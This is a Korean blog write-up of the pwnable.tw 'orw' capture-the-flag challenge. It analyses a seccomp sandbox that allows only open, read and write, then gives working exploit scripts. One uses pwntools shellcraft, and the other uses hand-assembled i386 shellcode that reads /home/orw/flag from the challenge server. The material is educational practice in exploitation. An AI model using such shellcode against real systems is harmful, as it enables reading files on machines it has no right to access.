Studying Security

[pwnable.tw] orw 본문

Wargame/pwnable.tw

[pwnable.tw] orw

J4guar 2022. 6. 10. 02:39
728x90
반응형

Mitigation

Main function

Vulnerability Analysis

seccomp-tools로 해당 바이너리 파일을 살펴보면 rt_sigreturn, sigreturn, exit_group, exit, open, read, write에 대해서 허용을 해놓을 것을 확인할 수 있습니다.

main함수를 살펴보면 0x804a060에 0xc8 size의 데이터를 입력 받고 0x804a060을 호출하고 있습니다.

목표는 /home/orw/flag의 값을 획득하는 것이기 때문에 0x804a060에 flag를 획득할 수 있는 shellcode를 작성하면 됩니다.

shellcode는 아래와 같은 동작을 수행하도록 작성하면 됩니다.

fd = open("/home/orw/flag")

read(fd, buf, size)

write(1, buf, size)

pwntools의 shellcraft를 이용하여 shellcode작성하기

from pwn import *

context(arch = 'i386', os = 'linux')
p = remote("chall.pwnable.tw",10001)

shellcode = shellcraft.open("/home/orw/flag")
shellcode += shellcraft.read("eax","esp",100)
shellcode += shellcraft.write(1,"esp",100)

p.sendafter(":",asm(shellcode))

p.interactive()

shellcode 직접 작성하기

shellcode.asm

global _start

_start:
        xor eax, eax
        xor ecx, ecx
        xor edx, edx

        push eax
        push 0x67616c66
        push 0x2f2f2f77
        push 0x726f2f65
        push 0x6d6f682f
        mov ebx, esp
        mov al, 0x5
        int 0x80

        mov ebx, eax
        mov ecx, esp
        mov dl, 0x64
        mov al, 0x3
        int 0x80

        push 0x1
        pop ebx
        mov ecx, esp
        mov dl, 0x64
        mov al, 0x4
        int 0x80

nasm -f elf32 -o shellcode.o shellcode.asm

ld -m elf_i386 -o shellcode shellcode.o

for i in $(objdump -d ./shellcode | grep "^ "|cut -f2);do echo -n \\x$i;done

from pwn import *

p = remote("chall.pwnable.tw",10001)

shellcode = "\x31\xc0\x31\xc9\x31\xd2\x50\x68\x66\x6c\x61\x67\x68\x77\x2f\x2f\x2f\x68\x65\x2f\x6f\x72\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x64\xb0\x03\xcd\x80\x6a\x01\x5b\x89\xe1\xb2\x64\xb0\x04\xcd\x80"

p.sendafter(":",shellcode)

p.interactive()

Result

Reference

반응형

'Wargame > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] start  (0) 2022.06.09
Comments